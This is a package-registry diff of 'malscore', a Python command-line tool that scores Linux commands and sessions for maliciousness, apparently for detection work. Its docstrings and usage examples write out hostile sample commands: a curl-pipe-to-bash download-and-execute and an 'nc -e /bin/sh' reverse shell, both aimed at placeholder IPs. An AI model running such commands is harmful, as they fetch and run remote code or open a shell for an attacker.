malscore 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
malscore/__init__.py ADDED
@@ -0,0 +1,27 @@
1
+ """malscore -- score the maliciousness of a Linux command or a session of commands.
2
+
3
+ from malscore import Analyzer
4
+ result = Analyzer().assess_command("curl -s http://1.2.3.4/x.sh | bash")
5
+ print(result.score, result.verdict)
6
+
7
+ session = Analyzer().assess_session(["curl -o /tmp/p http://1.2.3.4/p", "/tmp/p"])
8
+
9
+ Nothing is ever executed, expanded or resolved: the analysis only reads text.
10
+ """
11
+
12
+ from __future__ import annotations
13
+
14
+ from .scoring import Analyzer, Assessment, verdict_for
15
+ from .signals import SESSION_SIGNALS, SIGNALS, Signal
16
+
17
+ __version__ = "0.1.0"
18
+
19
+ __all__ = [
20
+ "Analyzer",
21
+ "Assessment",
22
+ "Signal",
23
+ "SIGNALS",
24
+ "SESSION_SIGNALS",
25
+ "verdict_for",
26
+ "__version__",
27
+ ]
malscore/__main__.py ADDED
@@ -0,0 +1,6 @@
1
+ """Enable ``python -m malscore`` as an alias for the ``malscore`` command."""
2
+
3
+ from .cli import main
4
+
5
+ if __name__ == "__main__":
6
+ raise SystemExit(main())
malscore/cli.py ADDED
@@ -0,0 +1,244 @@
1
+ """Command-line interface.
2
+
3
+ malscore "curl -s http://1.2.3.4/x.sh | bash" # score one command
4
+ echo "nc -e /bin/sh 10.0.0.1 4444" | malscore - # read the command from stdin
5
+ malscore --session history.txt # score a session, one command per line
6
+ malscore --batch events.jsonl # score each command in a JSONL feed
7
+ malscore --session history.txt --json # machine-readable output
8
+ """
9
+
10
+ from __future__ import annotations
11
+
12
+ import argparse
13
+ import gzip
14
+ import io
15
+ import json
16
+ import os
17
+ import sys
18
+ from typing import Any, Dict, Iterator, List, Optional, Sequence, Tuple
19
+
20
+ from .scoring import VERDICTS, Analyzer, Assessment
21
+
22
+ VERDICT_COLOR = {
23
+ "benign": "32", "low": "36", "medium": "33", "high": "35", "critical": "31",
24
+ }
25
+ BAR_WIDTH = 24
26
+
27
+ #: Field names that may carry the command line (or argv list) in a feed record.
28
+ COMMAND_KEYS = ("cmdline", "command", "cmd", "command_line", "commandline",
29
+ "proctitle", "exe_args", "args_string")
30
+ USER_KEYS = ("user", "username", "user_name", "acct", "auid_name", "subject_user")
31
+ TIME_KEYS = ("timestamp", "time", "@timestamp", "ts", "event_time", "start_time",
32
+ "eventTime", "datetime")
33
+
34
+
35
+ # --------------------------------------------------------------------------
36
+ # rendering
37
+ # --------------------------------------------------------------------------
38
+ def _supports_color(stream) -> bool:
39
+ return hasattr(stream, "isatty") and stream.isatty() and os.environ.get("NO_COLOR") is None
40
+
41
+
42
+ def _paint(text: str, code: str, enabled: bool) -> str:
43
+ return "\033[%sm%s\033[0m" % (code, text) if enabled else text
44
+
45
+
46
+ def _bar(score: int, enabled: bool, verdict: str) -> str:
47
+ filled = int(round(score / 100 * BAR_WIDTH))
48
+ return _paint("█" * filled + "░" * (BAR_WIDTH - filled), VERDICT_COLOR[verdict], enabled)
49
+
50
+
51
+ def _truncate(text: str, width: int) -> str:
52
+ text = text.replace("\n", " ")
53
+ return text if len(text) <= width else text[: width - 1] + "…"
54
+
55
+
56
+ def render_text(assessment: Assessment, color: bool, explain: bool, title: str = "") -> str:
57
+ verdict = assessment.verdict
58
+ lines: List[str] = ["%s score %3d/100 %s" % (
59
+ _bar(assessment.score, color, verdict),
60
+ assessment.score,
61
+ _paint(verdict.upper(), VERDICT_COLOR[verdict] + ";1", color),
62
+ )]
63
+ if title:
64
+ lines.append(" " + title)
65
+ if assessment.tactics:
66
+ lines.append(" tactics: " + ", ".join(assessment.tactics))
67
+
68
+ if assessment.per_command:
69
+ flagged = [c for c in assessment.per_command if c.hits]
70
+ lines.append("")
71
+ lines.append(" %d command(s), %d flagged:" % (len(assessment.per_command), len(flagged)))
72
+ for command in flagged:
73
+ lines.append(" %s L%-4d %3d %-8s %s" % (
74
+ _bar(command.score, color, command.verdict),
75
+ command.line, command.score, command.verdict,
76
+ _truncate(command.command, 60)))
77
+
78
+ if explain and assessment.hits:
79
+ lines.append("")
80
+ lines.append(" evidence:")
81
+ for hit in assessment.hits:
82
+ lines.append(" [%0.2f] %-28s %s" % (hit.weight, hit.tactic, hit.title))
83
+ if hit.techniques:
84
+ lines.append(" %s" % " ".join(hit.techniques))
85
+ elif assessment.hits:
86
+ lines.append(" signals: " + ", ".join(h.id for h in assessment.hits[:6])
87
+ + (" ..." if len(assessment.hits) > 6 else ""))
88
+ return "\n".join(lines)
89
+
90
+
91
+ # --------------------------------------------------------------------------
92
+ # input
93
+ # --------------------------------------------------------------------------
94
+ def _first(record: Dict[str, Any], keys: Sequence[str]) -> Any:
95
+ """The first present, non-empty value among ``keys``."""
96
+ for key in keys:
97
+ value = record.get(key)
98
+ if value not in (None, "", []):
99
+ return value
100
+ return None
101
+
102
+
103
+ def _read_text(path: str) -> str:
104
+ """Read a text file; ``-`` reads stdin and a ``.gz`` suffix is decompressed."""
105
+ if path == "-":
106
+ return sys.stdin.read()
107
+ if path.endswith(".gz"):
108
+ with io.TextIOWrapper(gzip.open(path, "rb"), encoding="utf-8", errors="replace") as handle:
109
+ return handle.read()
110
+ with open(path, "r", encoding="utf-8", errors="replace") as handle:
111
+ return handle.read()
112
+
113
+
114
+ def read_feed(path: str) -> Iterator[Tuple[int, Dict[str, Any]]]:
115
+ """Yield ``(line, record)`` from a JSON Lines file or a JSON array of objects.
116
+
117
+ Malformed lines and non-object entries are skipped, so one bad record never
118
+ aborts a feed.
119
+ """
120
+ text = _read_text(path)
121
+
122
+ if text.lstrip().startswith("["):
123
+ try:
124
+ records = json.loads(text)
125
+ except json.JSONDecodeError as exc:
126
+ raise SystemExit("malscore: %s is not valid JSON: %s" % (path, exc))
127
+ for index, record in enumerate(records, start=1):
128
+ if isinstance(record, dict):
129
+ yield index, record
130
+ return
131
+
132
+ for index, line in enumerate(text.splitlines(), start=1):
133
+ line = line.strip()
134
+ if not line or line.startswith("#"):
135
+ continue
136
+ try:
137
+ record = json.loads(line)
138
+ except json.JSONDecodeError:
139
+ continue
140
+ if isinstance(record, dict):
141
+ yield index, record
142
+
143
+
144
+ def _feed_command(record: Dict[str, Any]) -> str:
145
+ """Accept a string command line or an argv list (auditd/eBPF style)."""
146
+ value = _first(record, COMMAND_KEYS)
147
+ if isinstance(value, (list, tuple)):
148
+ return " ".join(str(part) for part in value)
149
+ return "" if value is None else str(value)
150
+
151
+
152
+ def _read_command(args: argparse.Namespace) -> Optional[str]:
153
+ if args.command == ["-"] or (not args.command and not sys.stdin.isatty()):
154
+ return sys.stdin.read()
155
+ if args.command:
156
+ return " ".join(args.command)
157
+ return None
158
+
159
+
160
+ # --------------------------------------------------------------------------
161
+ # main
162
+ # --------------------------------------------------------------------------
163
+ def _score_batch(analyzer: Analyzer, args: argparse.Namespace, color: bool) -> int:
164
+ """Score each command in a feed; return the worst verdict rank seen."""
165
+ threshold = VERDICTS.index(args.min_verdict) if args.min_verdict else 0
166
+ worst = 0
167
+ shown = 0
168
+ for line, record in read_feed(args.batch):
169
+ assessment = analyzer.assess_command(_feed_command(record), line=line)
170
+ rank = VERDICTS.index(assessment.verdict)
171
+ worst = max(worst, rank)
172
+ if rank < threshold:
173
+ continue
174
+ shown += 1
175
+ if args.json:
176
+ result = assessment.as_dict(include_commands=False)
177
+ for name, keys in (("user", USER_KEYS), ("timestamp", TIME_KEYS)):
178
+ value = _first(record, keys)
179
+ if value is not None:
180
+ result[name] = value
181
+ print(json.dumps(result))
182
+ else:
183
+ print("%s %3d %-8s %s" % (_bar(assessment.score, color, assessment.verdict),
184
+ assessment.score, assessment.verdict,
185
+ _truncate(assessment.command, 70)))
186
+ if not args.json:
187
+ sys.stderr.write("scored feed; %d event(s) at or above '%s'\n" % (shown, args.min_verdict or "benign"))
188
+ return worst
189
+
190
+
191
+ def build_parser() -> argparse.ArgumentParser:
192
+ parser = argparse.ArgumentParser(
193
+ prog="malscore",
194
+ description="Score the maliciousness of a Linux command or a session of commands (0-100).",
195
+ epilog="The tool never executes what it analyses; it only reads the text.",
196
+ )
197
+ parser.add_argument("command", nargs="*", help="command to score, or '-' to read stdin")
198
+ parser.add_argument("-s", "--session", metavar="FILE",
199
+ help="score a session: one command per line ('-' reads stdin)")
200
+ parser.add_argument("--batch", metavar="FILE",
201
+ help="score every command in a JSONL/array event feed independently")
202
+ parser.add_argument("-j", "--json", action="store_true", help="emit JSON instead of text")
203
+ parser.add_argument("-e", "--explain", action="store_true",
204
+ help="list every signal with its weight and MITRE techniques")
205
+ parser.add_argument("--redact", action="store_true",
206
+ help="redact credential-looking values before echoing any command text")
207
+ parser.add_argument("--min-verdict", choices=VERDICTS,
208
+ help="in --batch, only print events at or above this verdict")
209
+ parser.add_argument("--fail-on", choices=VERDICTS,
210
+ help="exit 2 if the verdict is at or above this band")
211
+ parser.add_argument("--no-color", action="store_true", help="disable ANSI colour")
212
+ return parser
213
+
214
+
215
+ def main(argv: Optional[Sequence[str]] = None) -> int:
216
+ parser = build_parser()
217
+ args = parser.parse_args(argv)
218
+ if sum(1 for given in (args.command, args.session, args.batch) if given) > 1:
219
+ parser.error("give only one of a command, --session FILE or --batch FILE")
220
+ color =not args.no_color and not args.json and _supports_color(sys.stdout)
221
+ analyzer = Analyzer(redact=args.redact)
222
+
223
+ if args.batch:
224
+ worst = _score_batch(analyzer, args, color)
225
+ else:
226
+ if args.session:
227
+ assessment = analyzer.assess_session(_read_text(args.session).splitlines())
228
+ if not assessment.per_command:
229
+ parser.error("session %s contains no commands" % args.session)
230
+ else:
231
+ text = _read_command(args)
232
+ if text is None or not text.strip():
233
+ parser.error("provide a command, --session FILE, --batch FILE, or pipe via stdin")
234
+ assessment = analyzer.assess_command(text.strip())
235
+ if args.json:
236
+ print(json.dumps(assessment.as_dict(), indent=2))
237
+ else:
238
+ title = os.path.basename(args.session) if args.session and args.session != "-" else ""
239
+ print(render_text(assessment, color, args.explain, title=title))
240
+ worst = VERDICTS.index(assessment.verdict)
241
+
242
+ if args.fail_on and worst >= VERDICTS.index(args.fail_on):
243
+ return 2
244
+ return 0